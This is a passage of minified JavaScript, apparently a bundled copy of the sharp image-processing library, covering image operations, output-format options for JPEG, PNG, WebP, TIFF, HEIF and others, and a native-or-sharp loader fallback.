v6.invalidParameterError("range","lower to be less than upper",`${this.options.normaliseLower} >= ${this.options.normaliseUpper}`);return this.options.normalise=!0,this}function HC9(A){return this.normalise(A)}function JC9(A){if(v6.plainObject(A)){if(v6.integer(A.width)&&A.width>0)this.options.claheWidth=A.width;else throw v6.invalidParameterError("width","integer greater than zero",A.width);if(v6.integer(A.height)&&A.height>0)this.options.claheHeight=A.height;else throw v6.invalidParameterError("height","integer greater than zero",A.height);if(v6.defined(A.maxSlope))if(v6.integer(A.maxSlope)&&v6.inRange(A.maxSlope,0,100))this.options.claheMaxSlope=A.maxSlope;else throw v6.invalidParameterError("maxSlope","integer between 0 and 100",A.maxSlope)}else throw v6.invalidParameterError("options","plain object",A);return this}function OC9(A){if(!v6.object(A)||!Array.isArray(A.kernel)||!v6.integer(A.width)||!v6.integer(A.height)||!v6.inRange(A.width,3,1001)||!v6.inRange(A.height,3,1001)||A.height*A.width!==A.kernel.length)throw Error("Invalid convolution kernel");if(!v6.integer(A.scale))A.scale=A.kernel.reduce(function(K,q){return K+q},0);if(A.scale<1)A.scale=1;if(!v6.integer(A.offset))A.offset=0;return this.options.convKernel=A,this}function XC9(A,K){if(!v6.defined(A))this.options.threshold=128;else if(v6.bool(A))this.options.threshold=A?128:0;else if(v6.integer(A)&&v6.inRange(A,0,255))this.options.threshold=A;else throw v6.invalidParameterError("threshold","integer between 0 and 255",A);if(!v6.object(K)||K.greyscale===!0||K.grayscale===!0)this.options.thresholdGrayscale=!0;else this.options.thresholdGrayscale=!1;return this}function $C9(A,K,q){if(this.options.boolean=this._createInputDescriptor(A,q),v6.string(K)&&v6.inArray(K,["and","or","eor"]))this.options.booleanOp=K;else throw v6.invalidParameterError("operator","one of: and, or, eor",K);return this}function _C9(A,K){if(!v6.defined(A)&&v6.number(K))A=1;else if(v6.number(A)&&!v6.defined(K))K=0;if(!v6.defined(A))this.options.linearA=[];else if(v6.number(A))this.options.linearA=[A];else if(Array.isArray(A)&&A.length&&A.every(v6.number))this.options.linearA=A;else throw v6.invalidParameterError("a","number or array of numbers",A);if(!v6.defined(K))this.options.linearB=[];else if(v6.number(K))this.options.linearB=[K];else if(Array.isArray(K)&&K.length&&K.every(v6.number))this.options.linearB=K;else throw v6.invalidParameterError("b","number or array of numbers",K);if(this.options.linearA.length!==this.options.linearB.length)throw Error("Expected a and b to be arrays of the same length");return this}function GC9(A){if(!Array.isArray(A))throw v6.invalidParameterError("inputMatrix","array",A);if(A.length!==3&&A.length!==4)throw v6.invalidParameterError("inputMatrix","3x3 or 4x4 array",A.length);let K=A.flat().map(Number);if(K.length!==9&&K.length!==16)throw v6.invalidParameterError("inputMatrix","cardinality of 9 or 16",K.length);return this.options.recombMatrix=K,this}function ZC9(A){if(!v6.plainObject(A))throw v6.invalidParameterError("options","plain object",A);if("brightness"in A)if(v6.number(A.brightness)&&A.brightness>=0)this.options.brightness=A.brightness;else throw v6.invalidParameterError("brightness","number above zero",A.brightness);if("saturation"in A)if(v6.number(A.saturation)&&A.saturation>=0)this.options.saturation=A.saturation;else throw v6.invalidParameterError("saturation","number above zero",A.saturation);if("hue"in A)if(v6.integer(A.hue))this.options.hue=A.hue%360;else throw v6.invalidParameterError("hue","number",A.hue);if("lightness"in A)if(v6.number(A.lightness))this.options.lightness=A.lightness;else throw v6.invalidParameterError("lightness","number",A.lightness);return this}px4.exports=function(A){Object.assign(A.prototype,{rotate:rk9,flip:ok9,flop:ak9,affine:sk9,sharpen:tk9,median:ek9,blur:AC9,flatten:KC9,unflatten:qC9,gamma:YC9,negate:zC9,normalise:wC9,normalize:HC9,clahe:JC9,convolve:OC9,threshold:XC9,boolean:$C9,linear:_C9,recomb:GC9,modulate:ZC9})}});var ix4=v((rjw,lx4)=>{var WC9=mY1(),AU=ox(),cx4={multiband:"multiband","b-w":"b-w",bw:"b-w",cmyk:"cmyk",srgb:"srgb"};function DC9(A){return this._setBackgroundColourOption("tint",A),this}function jC9(A){return this.options.greyscale=AU.bool(A)?A:!0,this}function MC9(A){return this.greyscale(A)}function PC9(A){if(!AU.string(A))throw AU.invalidParameterError("colourspace","string",A);return this.options.colourspacePipeline=A,this}function VC9(A){return this.pipelineColourspace(A)}function fC9(A){if(!AU.string(A))throw AU.invalidParameterError("colourspace","string",A);return this.options.colourspace=A,this}function NC9(A){return this.toColourspace(A)}function TC9(A,K){if(AU.defined(K))if(AU.object(K)||AU.string(K)){let q=WC9(K);this.options[A]=[q.red(),q.green(),q.blue(),Math.round(q.alpha()*255)]}else throw AU.invalidParameterError("background","object or string",K)}lx4.exports=function(A){Object.assign(A.prototype,{tint:DC9,greyscale:jC9,grayscale:MC9,pipelineColourspace:PC9,pipelineColorspace:VC9,toColourspace:fC9,toColorspace:NC9,_setBackgroundColourOption:TC9}),A.colourspace=cx4,A.colorspace=cx4}});var rx4=v((ojw,nx4)=>{var ex=ox(),vC9={and:"and",or:"or",eor:"eor"};function EC9(){return this.options.removeAlpha=!0,this}function kC9(A){if(ex.defined(A))if(ex.number(A)&&ex.inRange(A,0,1))this.options.ensureAlpha=A;else throw ex.invalidParameterError("alpha","number between 0 and 1",A);else this.options.ensureAlpha=1;return this}function CC9(A){let K={red:0,green:1,blue:2,alpha:3};if(Object.keys(K).includes(A))A=K[A];if(ex.integer(A)&&ex.inRange(A,0,4))this.options.extractChannel=A;else throw ex.invalidParameterError("channel","integer or one of: red, green, blue, alpha",A);return this}function LC9(A,K){if(Array.isArray(A))A.forEach(function(q){this.options.joinChannelIn.push(this._createInputDescriptor(q,K))},this);else this.options.joinChannelIn.push(this._createInputDescriptor(A,K));return this}function RC9(A){if(ex.string(A)&&ex.inArray(A,["and","or","eor"]))this.options.bandBoolOp=A;else throw ex.invalidParameterError("boolOp","one of: and, or, eor",A);return this}nx4.exports=function(A){Object.assign(A.prototype,{removeAlpha:EC9,ensureAlpha:kC9,extractChannel:CC9,joinChannel:LC9,bandbool:RC9}),A.bool=vC9}});var Au4=v((ajw,ex4)=>{var pY6=CA("node:path"),X1=ox(),h$A=MSA(),ox4=new Map([["heic","heif"],["heif","heif"],["avif","avif"],["jpeg","jpeg"],["jpg","jpeg"],["jpe","jpeg"],["tile","tile"],["dz","tile"],["png","png"],["raw","raw"],["tiff","tiff"],["tif","tiff"],["webp","webp"],["gif","gif"],["jp2","jp2"],["jpx","jp2"],["j2k","jp2"],["j2c","jp2"],["jxl","jxl"]]),yC9=/\.(jp[2x]|j2[kc])$/i,ax4=()=>Error("JP2 output requires libvips with support for OpenJPEG"),sx4=(A)=>1<<31-Math.clz32(Math.ceil(Math.log2(A)));function IC9(A,K){let q;if(!X1.string(A))q=Error("Missing output file path");else if(X1.string(this.options.input.file)&&pY6.resolve(this.options.input.file)===pY6.resolve(A))q=Error("Cannot use same file for input and output");else if(yC9.test(pY6.extname(A))&&!this.constructor.format.jp2k.output.file)q=ax4();if(q)if(X1.fn(K))K(q);else return Promise.reject(q);else{this.options.fileOut=A;let Y=Error();return this._pipeline(K,Y)}return this}function SC9(A,K){if(X1.object(A))this._setBooleanOption("resolveWithObject",A.resolveWithObject);else if(this.options.resolveWithObject)this.options.resolveWithObject=!1;this.options.fileOut="";let q=Error();return this._pipeline(X1.fn(A)?A:K,q)}function hC9(){return this.options.keepMetadata|=1,this}function bC9(A){if(X1.object(A))for(let[K,q]of Object.entries(A))if(X1.object(q))for(let[Y,z]of Object.entries(q))if(X1.string(z))this.options.withExif[`exif-${K.toLowerCase()}-${Y}`]=z;else throw X1.invalidParameterError(`${K}.${Y}`,"string",z);else throw X1.invalidParameterError(K,"object",q);else throw X1.invalidParameterError("exif","object",A);return this.options.withExifMerge=!1,this.keepExif()}function xC9(A){return this.withExif(A),this.options.withExifMerge=!0,this}function uC9(){return this.options.keepMetadata|=8,this}function BC9(A,K){if(X1.string(A))this.options.withIccProfile=A;else throw X1.invalidParameterError("icc","string",A);if(this.keepIccProfile(),X1.object(K)){if(X1.defined(K.attach))if(X1.bool(K.attach)){if(!K.attach)this.options.keepMetadata&=-9}else throw X1.invalidParameterError("attach","boolean",K.attach)}return this}function mC9(){return this.options.keepMetadata=31,this}function gC9(A){if(this.keepMetadata(),this.withIccProfile("srgb"),X1.object(A)){if(X1.defined(A.orientation))if(X1.integer(A.orientation)&&X1.inRange(A.orientation,1,8))this.options.withMetadataOrientation=A.orientation;else throw X1.invalidParameterError("orientation","integer between 1 and 8",A.orientation);if(X1.defined(A.density))if(X1.number(A.density)&&A.density>0)this.options.withMetadataDensity=A.density;else throw X1.invalidParameterError("density","positive number",A.density);if(X1.defined(A.icc))this.withIccProfile(A.icc);if(X1.defined(A.exif))this.withExifMerge(A.exif)}return this}function FC9(A,K){let q=ox4.get((X1.object(A)&&X1.string(A.id)?A.id:A).toLowerCase());if(!q)throw X1.invalidParameterError("format",`one of: ${[...ox4.keys()].join(", ")}`,A);return this[q](K)}function QC9(A){if(X1.object(A)){if(X1.defined(A.quality))if(X1.integer(A.quality)&&X1.inRange(A.quality,1,100))this.options.jpegQuality=A.quality;else throw X1.invalidParameterError("quality","integer between 1 and 100",A.quality);if(X1.defined(A.progressive))this._setBooleanOption("jpegProgressive",A.progressive);if(X1.defined(A.chromaSubsampling))if(X1.string(A.chromaSubsampling)&&X1.inArray(A.chromaSubsampling,["4:2:0","4:4:4"]))this.options.jpegChromaSubsampling=A.chromaSubsampling;else throw X1.invalidParameterError("chromaSubsampling","one of: 4:2:0, 4:4:4",A.chromaSubsampling);let K=X1.bool(A.optimizeCoding)?A.optimizeCoding:A.optimiseCoding;if(X1.defined(K))this._setBooleanOption("jpegOptimiseCoding",K);if(X1.defined(A.mozjpeg))if(X1.bool(A.mozjpeg)){if(A.mozjpeg)this.options.jpegTrellisQuantisation=!0,this.options.jpegOvershootDeringing=!0,this.options.jpegOptimiseScans=!0,this.options.jpegProgressive=!0,this.options.jpegQuantisationTable=3}else throw X1.invalidParameterError("mozjpeg","boolean",A.mozjpeg);let q=X1.bool(A.trellisQuantization)?A.trellisQuantization:A.trellisQuantisation;if(X1.defined(q))this._setBooleanOption("jpegTrellisQuantisation",q);if(X1.defined(A.overshootDeringing))this._setBooleanOption("jpegOvershootDeringing",A.overshootDeringing);let Y=X1.bool(A.optimizeScans)?A.optimizeScans:A.optimiseScans;if(X1.defined(Y)){if(this._setBooleanOption("jpegOptimiseScans",Y),Y)this.options.jpegProgressive=!0}let z=X1.number(A.quantizationTable)?A.quantizationTable:A.quantisationTable;if(X1.defined(z))if(X1.integer(z)&&X1.inRange(z,0,8))this.options.jpegQuantisationTable=z;else throw X1.invalidParameterError("quantisationTable","integer between 0 and 8",z)}return this._updateFormatOut("jpeg",A)}function UC9(A){if(X1.object(A)){if(X1.defined(A.progressive))this._setBooleanOption("pngProgressive",A.progressive);if(X1.defined(A.compressionLevel))if(X1.integer(A.compressionLevel)&&X1.inRange(A.compressionLevel,0,9))this.options.pngCompressionLevel=A.compressionLevel;else throw X1.invalidParameterError("compressionLevel","integer between 0 and 9",A.compressionLevel);if(X1.defined(A.adaptiveFiltering))this._setBooleanOption("pngAdaptiveFiltering",A.adaptiveFiltering);let K=A.colours||A.colors;if(X1.defined(K))if(X1.integer(K)&&X1.inRange(K,2,256))this.options.pngBitdepth=sx4(K);else throw X1.invalidParameterError("colours","integer between 2 and 256",K);if(X1.defined(A.palette))this._setBooleanOption("pngPalette",A.palette);else if([A.quality,A.effort,A.colours,A.colors,A.dither].some(X1.defined))this._setBooleanOption("pngPalette",!0);if(this.options.pngPalette){if(X1.defined(A.quality))if(X1.integer(A.quality)&&X1.inRange(A.quality,0,100))this.options.pngQuality=A.quality;else throw X1.invalidParameterError("quality","integer between 0 and 100",A.quality);if(X1.defined(A.effort))if(X1.integer(A.effort)&&X1.inRange(A.effort,1,10))this.options.pngEffort=A.effort;else throw X1.invalidParameterError("effort","integer between 1 and 10",A.effort);if(X1.defined(A.dither))if(X1.number(A.dither)&&X1.inRange(A.dither,0,1))this.options.pngDither=A.dither;else throw X1.invalidParameterError("dither","number between 0.0 and 1.0",A.dither)}}return this._updateFormatOut("png",A)}function pC9(A){if(X1.object(A)){if(X1.defined(A.quality))if(X1.integer(A.quality)&&X1.inRange(A.quality,1,100))this.options.webpQuality=A.quality;else throw X1.invalidParameterError("quality","integer between 1 and 100",A.quality);if(X1.defined(A.alphaQuality))if(X1.integer(A.alphaQuality)&&X1.inRange(A.alphaQuality,0,100))this.options.webpAlphaQuality=A.alphaQuality;else throw X1.invalidParameterError("alphaQuality","integer between 0 and 100",A.alphaQuality);if(X1.defined(A.lossless))this._setBooleanOption("webpLossless",A.lossless);if(X1.defined(A.nearLossless))this._setBooleanOption("webpNearLossless",A.nearLossless);if(X1.defined(A.smartSubsample))this._setBooleanOption("webpSmartSubsample",A.smartSubsample);if(X1.defined(A.preset))if(X1.string(A.preset)&&X1.inArray(A.preset,["default","photo","picture","drawing","icon","text"]))this.options.webpPreset=A.preset;else throw X1.invalidParameterError("preset","one of: default, photo, picture, drawing, icon, text",A.preset);if(X1.defined(A.effort))if(X1.integer(A.effort)&&X1.inRange(A.effort,0,6))this.options.webpEffort=A.effort;else throw X1.invalidParameterError("effort","integer between 0 and 6",A.effort);if(X1.defined(A.minSize))this._setBooleanOption("webpMinSize",A.minSize);if(X1.defined(A.mixed))this._setBooleanOption("webpMixed",A.mixed)}return tx4(A,this.options),this._updateFormatOut("webp",A)}function dC9(A){if(X1.object(A)){if(X1.defined(A.reuse))this._setBooleanOption("gifReuse",A.reuse);if(X1.defined(A.progressive))this._setBooleanOption("gifProgressive",A.progressive);let K=A.colours||A.colors;if(X1.defined(K))if(X1.integer(K)&&X1.inRange(K,2,256))this.options.gifBitdepth=sx4(K);else throw X1.invalidParameterError("colours","integer between 2 and 256",K);if(X1.defined(A.effort))if(X1.number(A.effort)&&X1.inRange(A.effort,1,10))this.options.gifEffort=A.effort;else throw X1.invalidParameterError("effort","integer between 1 and 10",A.effort);if(X1.defined(A.dither))if(X1.number(A.dither)&&X1.inRange(A.dither,0,1))this.options.gifDither=A.dither;else throw X1.invalidParameterError("dither","number between 0.0 and 1.0",A.dither);if(X1.defined(A.interFrameMaxError))if(X1.number(A.interFrameMaxError)&&X1.inRange(A.interFrameMaxError,0,32))this.options.gifInterFrameMaxError=A.interFrameMaxError;else throw X1.invalidParameterError("interFrameMaxError","number between 0.0 and 32.0",A.interFrameMaxError);if(X1.defined(A.interPaletteMaxError))if(X1.number(A.interPaletteMaxError)&&X1.inRange(A.interPaletteMaxError,0,256))this.options.gifInterPaletteMaxError=A.interPaletteMaxError;else throw X1.invalidParameterError("interPaletteMaxError","number between 0.0 and 256.0",A.interPaletteMaxError)}return tx4(A,this.options),this._updateFormatOut("gif",A)}function cC9(A){if(!this.constructor.format.jp2k.output.buffer)throw ax4();if(X1.object(A)){if(X1.defined(A.quality))if(X1.integer(A.quality)&&X1.inRange(A.quality,1,100))this.options.jp2Quality=A.quality;else throw X1.invalidParameterError("quality","integer between 1 and 100",A.quality);if(X1.defined(A.lossless))if(X1.bool(A.lossless))this.options.jp2Lossless=A.lossless;else throw X1.invalidParameterError("lossless","boolean",A.lossless);if(X1.defined(A.tileWidth))if(X1.integer(A.tileWidth)&&X1.inRange(A.tileWidth,1,32768))this.options.jp2TileWidth=A.tileWidth;else throw X1.invalidParameterError("tileWidth","integer between 1 and 32768",A.tileWidth);if(X1.defined(A.tileHeight))if(X1.integer(A.tileHeight)&&X1.inRange(A.tileHeight,1,32768))this.options.jp2TileHeight=A.tileHeight;else throw X1.invalidParameterError("tileHeight","integer between 1 and 32768",A.tileHeight);if(X1.defined(A.chromaSubsampling))if(X1.string(A.chromaSubsampling)&&X1.inArray(A.chromaSubsampling,["4:2:0","4:4:4"]))this.options.jp2ChromaSubsampling=A.chromaSubsampling;else throw X1.invalidParameterError("chromaSubsampling","one of: 4:2:0, 4:4:4",A.chromaSubsampling)}return this._updateFormatOut("jp2",A)}function tx4(A,K){if(X1.object(A)&&X1.defined(A.loop))if(X1.integer(A.loop)&&X1.inRange(A.loop,0,65535))K.loop=A.loop;else throw X1.invalidParameterError("loop","integer between 0 and 65535",A.loop);if(X1.object(A)&&X1.defined(A.delay))if(X1.integer(A.delay)&&X1.inRange(A.delay,0,65535))K.delay=[A.delay];else if(Array.isArray(A.delay)&&A.delay.every(X1.integer)&&A.delay.every((q)=>X1.inRange(q,0,65535)))K.delay=A.delay;else throw X1.invalidParameterError("delay","integer or an array of integers between 0 and 65535",A.delay)}function lC9(A){if(X1.object(A)){if(X1.defined(A.quality))if(X1.integer(A.quality)&&X1.inRange(A.quality,1,100))this.options.tiffQuality=A.quality;else throw X1.invalidParameterError("quality","integer between 1 and 100",A.quality);if(X1.defined(A.bitdepth))if(X1.integer(A.bitdepth)&&X1.inArray(A.bitdepth,[1,2,4,8]))this.options.tiffBitdepth=A.bitdepth;else throw X1.invalidParameterError("bitdepth","1, 2, 4 or 8",A.bitdepth);if(X1.defined(A.tile))this._setBooleanOption("tiffTile",A.tile);if(X1.defined(A.tileWidth))if(X1.integer(A.tileWidth)&&A.tileWidth>0)this.options.tiffTileWidth=A.tileWidth;else throw X1.invalidParameterError("tileWidth","integer greater than zero",A.tileWidth);if(X1.defined(A.tileHeight))if(X1.integer(A.tileHeight)&&A.tileHeight>0)this.options.tiffTileHeight=A.tileHeight;else throw X1.invalidParameterError("tileHeight","integer greater than zero",A.tileHeight);if(X1.defined(A.miniswhite))this._setBooleanOption("tiffMiniswhite",A.miniswhite);if(X1.defined(A.pyramid))this._setBooleanOption("tiffPyramid",A.pyramid);if(X1.defined(A.xres))if(X1.number(A.xres)&&A.xres>0)this.options.tiffXres=A.xres;else throw X1.invalidParameterError("xres","number greater than zero",A.xres);if(X1.defined(A.yres))if(X1.number(A.yres)&&A.yres>0)this.options.tiffYres=A.yres;else throw X1.invalidParameterError("yres","number greater than zero",A.yres);if(X1.defined(A.compression))if(X1.string(A.compression)&&X1.inArray(A.compression,["none","jpeg","deflate","packbits","ccittfax4","lzw","webp","zstd","jp2k"]))this.options.tiffCompression=A.compression;else throw X1.invalidParameterError("compression","one of: none, jpeg, deflate, packbits, ccittfax4, lzw, webp, zstd, jp2k",A.compression);if(X1.defined(A.predictor))if(X1.string(A.predictor)&&X1.inArray(A.predictor,["none","horizontal","float"]))this.options.tiffPredictor=A.predictor;else throw X1.invalidParameterError("predictor","one of: none, horizontal, float",A.predictor);if(X1.defined(A.resolutionUnit))if(X1.string(A.resolutionUnit)&&X1.inArray(A.resolutionUnit,["inch","cm"]))this.options.tiffResolutionUnit=A.resolutionUnit;else throw X1.invalidParameterError("resolutionUnit","one of: inch, cm",A.resolutionUnit)}return this._updateFormatOut("tiff",A)}function iC9(A){return this.heif({...A,compression:"av1"})}function nC9(A){if(X1.object(A)){if(X1.string(A.compression)&&X1.inArray(A.compression,["av1","hevc"]))this.options.heifCompression=A.compression;else throw X1.invalidParameterError("compression","one of: av1, hevc",A.compression);if(X1.defined(A.quality))if(X1.integer(A.quality)&&X1.inRange(A.quality,1,100))this.options.heifQuality=A.quality;else throw X1.invalidParameterError("quality","integer between 1 and 100",A.quality);if(X1.defined(A.lossless))if(X1.bool(A.lossless))this.options.heifLossless=A.lossless;else throw X1.invalidParameterError("lossless","boolean",A.lossless);if(X1.defined(A.effort))if(X1.integer(A.effort)&&X1.inRange(A.effort,0,9))this.options.heifEffort=A.effort;else throw X1.invalidParameterError("effort","integer between 0 and 9",A.effort);if(X1.defined(A.chromaSubsampling))if(X1.string(A.chromaSubsampling)&&X1.inArray(A.chromaSubsampling,["4:2:0","4:4:4"]))this.options.heifChromaSubsampling=A.chromaSubsampling;else throw X1.invalidParameterError("chromaSubsampling","one of: 4:2:0, 4:4:4",A.chromaSubsampling);if(X1.defined(A.bitdepth))if(X1.integer(A.bitdepth)&&X1.inArray(A.bitdepth,[8,10,12])){if(A.bitdepth!==8&&this.constructor.versions.heif)throw X1.invalidParameterError("bitdepth when using prebuilt binaries",8,A.bitdepth);this.options.heifBitdepth=A.bitdepth}else throw X1.invalidParameterError("bitdepth","8, 10 or 12",A.bitdepth)}else throw X1.invalidParameterError("options","Object",A);return this._updateFormatOut("heif",A)}function rC9(A){if(X1.object(A)){if(X1.defined(A.quality))if(X1.integer(A.quality)&&X1.inRange(A.quality,1,100))this.options.jxlDistance=A.quality>=30?0.1+(100-A.quality)*0.09:0.017666666666666667*A.quality*A.quality-1.15*A.quality+25;else throw X1.invalidParameterError("quality","integer between 1 and 100",A.quality);else if(X1.defined(A.distance))if(X1.number(A.distance)&&X1.inRange(A.distance,0,15))this.options.jxlDistance=A.distance;else throw X1.invalidParameterError("distance","number between 0.0 and 15.0",A.distance);if(X1.defined(A.decodingTier))if(X1.integer(A.decodingTier)&&X1.inRange(A.decodingTier,0,4))this.options.jxlDecodingTier=A.decodingTier;else throw X1.invalidParameterError("decodingTier","integer between 0 and 4",A.decodingTier);if(X1.defined(A.lossless))if(X1.bool(A.lossless))this.options.jxlLossless=A.lossless;else throw X1.invalidParameterError("lossless","boolean",A.lossless);if(X1.defined(A.effort))if(X1.integer(A.effort)&&X1.inRange(A.effort,3,9))this.options.jxlEffort=A.effort;else throw X1.invalidParameterError("effort","integer between 3 and 9",A.effort)}return this._updateFormatOut("jxl",A)}function oC9(A){if(X1.object(A)){if(X1.defined(A.depth))if(X1.string(A.depth)&&X1.inArray(A.depth,["char","uchar","short","ushort","int","uint","float","complex","double","dpcomplex"]))this.options.rawDepth=A.depth;else throw X1.invalidParameterError("depth","one of: char, uchar, short, ushort, int, uint, float, complex, double, dpcomplex",A.depth)}return this._updateFormatOut("raw")}function aC9(A){if(X1.object(A)){if(X1.defined(A.size))if(X1.integer(A.size)&&X1.inRange(A.size,1,8192))this.options.tileSize=A.size;else throw X1.invalidParameterError("size","integer between 1 and 8192",A.size);if(X1.defined(A.overlap))if(X1.integer(A.overlap)&&X1.inRange(A.overlap,0,8192)){if(A.overlap>this.options.tileSize)throw X1.invalidParameterError("overlap",`<= size (${this.options.tileSize})`,A.overlap);this.options.tileOverlap=A.overlap}else throw X1.invalidParameterError("overlap","integer between 0 and 8192",A.overlap);if(X1.defined(A.container))if(X1.string(A.container)&&X1.inArray(A.container,["fs","zip"]))this.options.tileContainer=A.container;else throw X1.invalidParameterError("container","one of: fs, zip",A.container);if(X1.defined(A.layout))if(X1.string(A.layout)&&X1.inArray(A.layout,["dz","google","iiif","iiif3","zoomify"]))this.options.tileLayout=A.layout;else throw X1.invalidParameterError("layout","one of: dz, google, iiif, iiif3, zoomify",A.layout);if(X1.defined(A.angle))if(X1.integer(A.angle)&&!(A.angle%90))this.options.tileAngle=A.angle;else throw X1.invalidParameterError("angle","positive/negative multiple of 90",A.angle);if(this._setBackgroundColourOption("tileBackground",A.background),X1.defined(A.depth))if(X1.string(A.depth)&&X1.inArray(A.depth,["onepixel","onetile","one"]))this.options.tileDepth=A.depth;else throw X1.invalidParameterError("depth","one of: onepixel, onetile, one",A.depth);if(X1.defined(A.skipBlanks))if(X1.integer(A.skipBlanks)&&X1.inRange(A.skipBlanks,-1,65535))this.options.tileSkipBlanks=A.skipBlanks;else throw X1.invalidParameterError("skipBlanks","integer between -1 and 255/65535",A.skipBlanks);else if(X1.defined(A.layout)&&A.layout==="google")this.options.tileSkipBlanks=5;let K=X1.bool(A.center)?A.center:A.centre;if(X1.defined(K))this._setBooleanOption("tileCentre",K);if(X1.defined(A.id))if(X1.string(A.id))this.options.tileId=A.id;else throw X1.invalidParameterError("id","string",A.id);if(X1.defined(A.basename))if(X1.string(A.basename))this.options.tileBasename=A.basename;else throw X1.invalidParameterError("basename","string",A.basename)}if(X1.inArray(this.options.formatOut,["jpeg","png","webp"]))this.options.tileFormat=this.options.formatOut;else if(this.options.formatOut!=="input")throw X1.invalidParameterError("format","one of: jpeg, png, webp",this.options.formatOut);return this._updateFormatOut("dz")}function sC9(A){if(!X1.plainObject(A))throw X1.invalidParameterError("options","object",A);if(X1.integer(A.seconds)&&X1.inRange(A.seconds,0,3600))this.options.timeoutSeconds=A.seconds;else throw X1.invalidParameterError("seconds","integer between 0 and 3600",A.seconds);return this}function tC9(A,K){if(!(X1.object(K)&&K.force===!1))this.options.formatOut=A;return this}function eC9(A,K){if(X1.bool(K))this.options[A]=K;else throw X1.invalidParameterError(A,"boolean",K)}function AL9(){if(!this.options.streamOut){this.options.streamOut=!0;let A=Error();this._pipeline(void 0,A)}}function KL9(A,K){if(typeof A==="function"){if(this._isStreamInput())this.on("finish",()=>{this._flattenBufferIn(),h$A.pipeline(this.options,(q,Y,z)=>{if(q)A(X1.nativeError(q,K));else A(null,Y,z)})});else h$A.pipeline(this.options,(q,Y,z)=>{if(q)A(X1.nativeError(q,K));else A(null,Y,z)});return this}else if(this.options.streamOut){if(this._isStreamInput()){if(this.once("finish",()=>{this._flattenBufferIn(),h$A.pipeline(this.options,(q,Y,z)=>{if(q)this.emit("error",X1.nativeError(q,K));else this.emit("info",z),this.push(Y);this.push(null),this.on("end",()=>this.emit("close"))})}),this.streamInFinished)this.emit("finish")}else h$A.pipeline(this.options,(q,Y,z)=>{if(q)this.emit("error",X1.nativeError(q,K));else this.emit("info",z),this.push(Y);this.push(null),this.on("end",()=>this.emit("close"))});return this}else if(this._isStreamInput())return new Promise((q,Y)=>{this.once("finish",()=>{this._flattenBufferIn(),h$A.pipeline(this.options,(z,w,H)=>{if(z)Y(X1.nativeError(z,K));else if(this.options.resolveWithObject)q({data:w,info:H});else q(w)})})});else return new Promise((q,Y)=>{h$A.pipeline(this.options,(z,w,H)=>{if(z)Y(X1.nativeError(z,K));else if(this.options.resolveWithObject)q({data:w,info:H});else q(w)})})}ex4.exports=function(A){Object.assign(A.prototype,{toFile:IC9,toBuffer:SC9,keepExif:hC9,withExif:bC9,withExifMerge:xC9,keepIccProfile:uC9,withIccProfile:BC9,keepMetadata:mC9,withMetadata:gC9,toFormat:FC9,jpeg:QC9,jp2:cC9,png:UC9,webp:pC9,tiff:lC9,avif:iC9,heif:nC9,jxl:rC9,gif:dC9,raw:oC9,tile:aC9,timeout:sC9,_updateFormatOut:tC9,_setBooleanOption:eC9,_read:AL9,_pipeline:KL9})}});var zu4=v((sjw,Yu4)=>{var qL9=CA("node:events"),FY1=TY1(),AC=ox(),{runtimePlatformArch:YL9}=IY6(),WM=MSA(),Ku4=YL9(),dY6=WM.libvipsVersion(),or=WM.format();or.heif.output.alias=["avif","heic"];or.jpeg.output.alias=["jpe","jpg"];or.tiff.output.alias=["tif"];or.jp2k.output.alias=["j2c","j2k","jp2","jpx"];var zL9={nearest:"nearest",bilinear:"bilinear",bicubic:"bicubic",locallyBoundedBicubic:"lbb",nohalo:"nohalo",vertexSplitQuadraticBasisSpline:"vsqbs"},b$A={vips:dY6.semver};if(!dY6.isGlobal)if(!dY6.isWasm)try{b$A=CA(`@img/sharp-${Ku4}/versions`)}catch(A){try{b$A=CA(`@img/sharp-libvips-${Ku4}/versions`)}catch(K){}}else try{b$A=(()=>{throw new Error("Cannot require module "+"@img/sharp-wasm32/versions");})()}catch(A){}b$A.sharp=RY6().version;if(b$A.heif&&or.heif)or.heif.input.fileSuffix=[".avif"],or.heif.output.alias=["avif"];function qu4(A){if(AC.bool(A))if(A)return WM.cache(50,20,100);else return WM.cache(0,0,0);else if(AC.object(A))return WM.cache(A.memory,A.files,A.items);else return WM.cache()}qu4(!0);function wL9(A){return WM.concurrency(AC.integer(A)?A:null)}if(FY1.familySync()===FY1.GLIBC&&!WM._isUsingJemalloc())WM.concurrency(1);else if(FY1.familySync()===FY1.MUSL&&WM.concurrency()===1024)WM.concurrency(CA("node:os").availableParallelism());var HL9=new qL9.EventEmitter;function JL9(){return WM.counters()}function OL9(A){return WM.simd(AC.bool(A)?A:null)}function XL9(A){if(AC.object(A))if(Array.isArray(A.operation)&&A.operation.every(AC.string))WM.block(A.operation,!0);else throw AC.invalidParameterError("operation","Array<string>",A.operation);else throw AC.invalidParameterError("options","object",A)}function $L9(A){if(AC.object(A))if(Array.isArray(A.operation)&&A.operation.every(AC.string))WM.block(A.operation,!1);else throw AC.invalidParameterError("operation","Array<string>",A.operation);else throw AC.invalidParameterError("options","object",A)}Yu4.exports=function(A){A.cache=qu4,A.concurrency=wL9,A.counters=JL9,A.simd=OL9,A.format=or,A.interpolators=zL9,A.versions=b$A,A.queue=HL9,A.block=XL9,A.unblock=$L9}});var cY6=v((ejw,wu4)=>{var KU=Gx4();hx4()(KU);gx4()(KU);Qx4()(KU);dx4()(KU);ix4()(KU);rx4()(KU);Au4()(KU);zu4()(KU);wu4.exports=KU});async function lY6(){if(QY1)return QY1.default;if(n9())try{let q=await Promise.resolve().then(() => (xh4(),bh4)),Y=q.sharp||q.default;return QY1={default:Y},Y}catch{console.warn("Native image processor not available, falling back to sharp")}let A=await Promise.resolve().then(() => o(cY6(),1)),K=A?.default||A;return QY1={default:K},K}var QY1=null;var Hu4=()=>{};function ZL9(A){if(A instanceof Error){let q=A;if(q.code==="MODULE_NOT_FOUND"||q.code==="ERR_MODULE_NOT_FOUND"||q.code==="ERR_DLOPEN_FAILED")return Ju4}let K=A instanceof Error?A.message:String(A);if(K.includes("Native image processor module not available"))return Ju4;if(K.includes("unsupported image format")||K.includes("Input buffer")||K.includes("Input file is missing")||K.includes("Input file has corrupt header"))return _L9;return GL9}function qU(A){if(A<1024)return`${A} B`;if(A<1048576)return`${(A/1024).toFixed(1)} KB`;return`${(A/1048576).toFixed(1)} MB`}async function x$A(A,K,q){try{let Y=await lY6(),w=await Y(A).metadata(),H=w.format??q,J=H==="jpg"?"jpeg":H;if(!w.width||!w.height){if(K>Ay)return{buffer:await 